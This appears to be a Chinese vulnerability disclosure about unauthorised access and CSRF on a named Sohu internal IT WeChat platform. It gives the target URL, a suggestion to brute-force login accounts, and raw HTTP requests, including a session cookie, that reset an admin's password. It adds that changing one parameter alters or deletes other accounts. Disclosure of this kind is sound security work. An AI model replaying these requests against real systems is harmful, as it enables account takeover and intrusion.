搜狐某内部系统未授权访问（可执行任意操作）

搜狐某内部系统未授权访问(可执行任意操作)

搜狐内部IT微信平台

http://wx.sohu-inc.com

你们只修复了命令执行漏洞，却未修复未授权访问问题

页面

/index.jsp

即

http://wx.sohu-inc.com/index.jsp

用这些可以做个字典，跑下登录帐号

页面在注销后前台任然没有验证机制

后台本地帐号或域帐号密码可抓包读取

POST /rAction!updateRole HTTP/1.1

Host: wx.sohu-inc.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://wx.sohu-inc.com/rAction!findRoles

Cookie: JSESSIONID=ABE2A34A2C8134233580BB74BE24D112

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 91

r.managerId=2&r.typeId=1&r.managerEmail=admin&r.managerPwd=xxxx

也存在CSRF问题

POST /rAction!updateRole HTTP/1.1

Host: wx.sohu-inc.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://wx.sohu-inc.com/rAction!findRoles

Cookie: JSESSIONID=ABE2A34A2C8134233580BB74BE24D112

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 91

r.managerId=2&r.typeId=1&r.managerEmail=admin&r.managerPwd=xxxx

修改密码或执行删除等其它操作只需更改r.managerId参数即可

这里涉及了一点关于VPN的问题

解决方案：

权限验证